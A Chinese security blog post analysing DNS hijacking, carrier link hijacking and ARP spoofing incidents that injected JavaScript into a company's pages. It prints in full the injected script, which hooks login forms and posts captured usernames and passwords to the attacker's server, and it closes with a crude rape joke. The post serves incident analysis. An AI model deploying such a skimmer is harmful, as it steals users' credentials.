PS:不确定文章中的内容会不会被和谐 互联网中劫持可以理解为正常用户的请求在返回响应之前响应内容被篡改,或者正常用户的请求内容被非法获取从而代为请求。无论是个人还是公司或多或少都会碰到劫持这类事情,无论小到ARP攻击、还是大到运营商的链路劫持、甚至天朝的G*F*W。笔者在一家互联网公司工作,只是根据碰到的一些情况来进行浅谈,深而广的内容只能让有更多经验的来谈了,对于本文的内容也欢迎各位拍砖。

一、DNS劫持

先来谈下DNS劫持。在去年的”斯巴达“期间,公司的业务监控部门监测到公司的一个业务的访问量骤降,同时运维部门也监测该业务的域名在全国大面积运营商的DNS服务器返回的A记录被修改为一个不是我们的IP:61.49.43.2。时间主要集中在上网的高峰期,持续一个小时左右。下图为DNS解析的抓包(图一)。

20130527212642_36164.png 图一 最初以为是对运营商DNS的投毒攻击,不过随着分析的深入发现,在受影响的地区,递归到13台根DNS服务器返回的都是这个IP,看来不只是简单的对运营商DNS的投毒攻击。 并且我们对 61.49.43.2 这个IP也进行了分析,发现其为一台Nginx的反向代理服务器,用户访问我们的业务,其在返回的页面中插入一段JS代码,功能就是在用户登录之前先获取用户输入框中的用户和密码(业务本身传输密码是加密的),然后再提交到这个服务器的一个页面。最后恢复用户的正常登陆。整个过程用户几乎感受不到影响。 同时我们还发现有其他互联网公司的该业务会受到影响,如果直接把其他公司同类业务的域名解析到这个IP上,发现插入的代码会根据业务而变化,很有针对性。甚至gmail都有影响。 下面是被插入的JS代码:

#!javascript
<script>
var xmlHttp;

function sendurl(uri, u, p, i) {
    xmlHttp = GetXmlHttpObject();
    if (xmlHttp == null) {
        return;
    }
    param = "user=" + u + "&pass=" + p + "&icp=" + i;
    xmlHttp.onreadystatechange = stateChanged;
    try {
        xmlHttp.open("POST", uri + "?t=" + (new Date()).valueOf(), true);
    } catch (e) {}
    xmlHttp.setRequestHeader("If-Modified-Since", "0");
    xmlHttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    xmlHttp.send(param);
}

function stateChanged() {}

function GetXmlHttpObject() {
    var xmlHttp = null;
    if (window.ActiveXObject) {
        var MSXML = ['MSXML2.XMLHTTP', 'Microsoft.XMLHTTP', 'MSXML2.XMLHTTP.5.0'];
        for (var n = 0; n < MSXML.length; n++) {
            try {
                xmlHttp = new ActiveXObject(MSXML[n]);
                break;
            } catch (e) {}
        }
    } else if (window.XMLHttpRequest) {
        try {
            xmlHttp = new XMLHttpRequest();
        } catch (e) {}
    }
    return xmlHttp;
}
try {
    var fList = document.getElementsByTagName("form");
    var f;
    for (var i = 0; i < fList.length; i++) {
        if (fList[i].pwdInput != null) {
            f = fList[i];
            break;
        }
    }

    function ffCheck() {
        try {
            try {
                var u = null != f ? f.idInput.value : document.getElementById("idInput").value;
            } catch (e) {
                var u = (document.getElementById("idInput").innerHTML).replace(/\s/g, "");
            }
            var p = null != f ? f.pwdInput.value : document.getElementById("pwdInput").value;
            if (u.indexOf("@") == -1) u += "@xxx.com";
            try {
                if (u.indexOf("@") == -1) u = u + getdomain();
            } catch (e) {}
            sendurl("/abc", u, p, "coremail");
        } catch (e) {}
        return fOnSubmit();
    }
    if (null != f) f.onsubmit = ffCheck;
} catch (e) {}
</script>

最后问题得到解决并不是我们找到了问题的原因,而是在我们向“有关部门”反馈后,这种劫持竟然停止了。

二、链路劫持

再来谈下这个链路劫持,还是同样的业务,在有用户投诉会经常登录我们的业务失败,才介入的分析。在受影响的用户计算机上进行抓包发现一个奇怪的现象,就是用户发起一个请求会接收到两个响应包,浏览器没有办法判断哪个是真的哪个是假的,只信任第一个接收到的响应包,这个包的内容就是我们正常页面的内容加上一段js代码,这个js代码和之前DNS劫持的代码类似所以就不贴代码了,获取用户名和密码然后返回。 从包的TTL和Identification大致可以判断是是被第三方劫持,如下图(图二、图三):

20130527212943_73541.png 图二 20130527213039_14540.png 图三 其实从TTL可以大概的判断劫持发生的位置,在这次的劫持事件中推断劫持的位置发生在我们网关的下一跳,应该是运营商所为,但是运营商并不承认这样做。还能怎么办呢?! 这种情况之前腾讯也有碰到过,参见:http://security.tencent.com/index.php/blog/msg/10。 有的公司采取HTTPS来解决这个问题,其实笔者认为HTTPS应该是无法完全解决这个问题,因为用户直接通过HTTP来访问业务,业务是通过301之类的方式跳转到HTTPS,如果劫持发生在跳转之前,其实还是一样的效果的。

三、ARP攻击

最后再来说下ARP攻击吧,我想大部分搞安全的对ARP攻击都会很熟悉,本次ARP攻击并不是直接攻击我们的业务,而是攻击合作商的业务,但是我们的业务中嵌入的有合作商的代码,所以最终达到攻击我们的效果。 问题最初是有用户投诉我们的一些论坛之类的业务再晚上高峰期访问会弹出广告,经过业务确认不是我们的广告,由于受影响的用户比较多,所以排除是个案的可能,介入分析。发现是直接嵌入的一个合作商的JS代码内容被修改,完全替换为弹出广告的JS代码。 下面是在受影响用户电脑上抓包的截图,如下图(图四):

20130527213239_65120.png 图四 从截图中可以看到和之前的链路层劫持一样,用户收到两个响应包,同样根据TTL判断是劫持,但是从TTL来看和之前运营商的劫持不一样,正常包TTL为46,而劫持的那个包的TTL为110,一般来说服务器不会修改默认的TTL值,Linux默认的TTL为64,Windows默认的TTL为128,从抓包中的TTL和默认的TTL做对比发现,相差都是18。我们推断这次劫持就是发生在合作商的机房内,同一个C段,攻击服务器应该是一台Windows服务器。 把问题反馈给合作商,让他们以及联系机房进行处理,最后的结果就是同一个C段有一台Windows服务器不断的进行ARP攻击。

四、总结

其实没有什么好总结的,无论是个人还是企业我们只能够尽量做好自身,对于我们不可控的始终是不可控。正如生活就如强奸,如果无力反抗就只能默默享受了。 over~!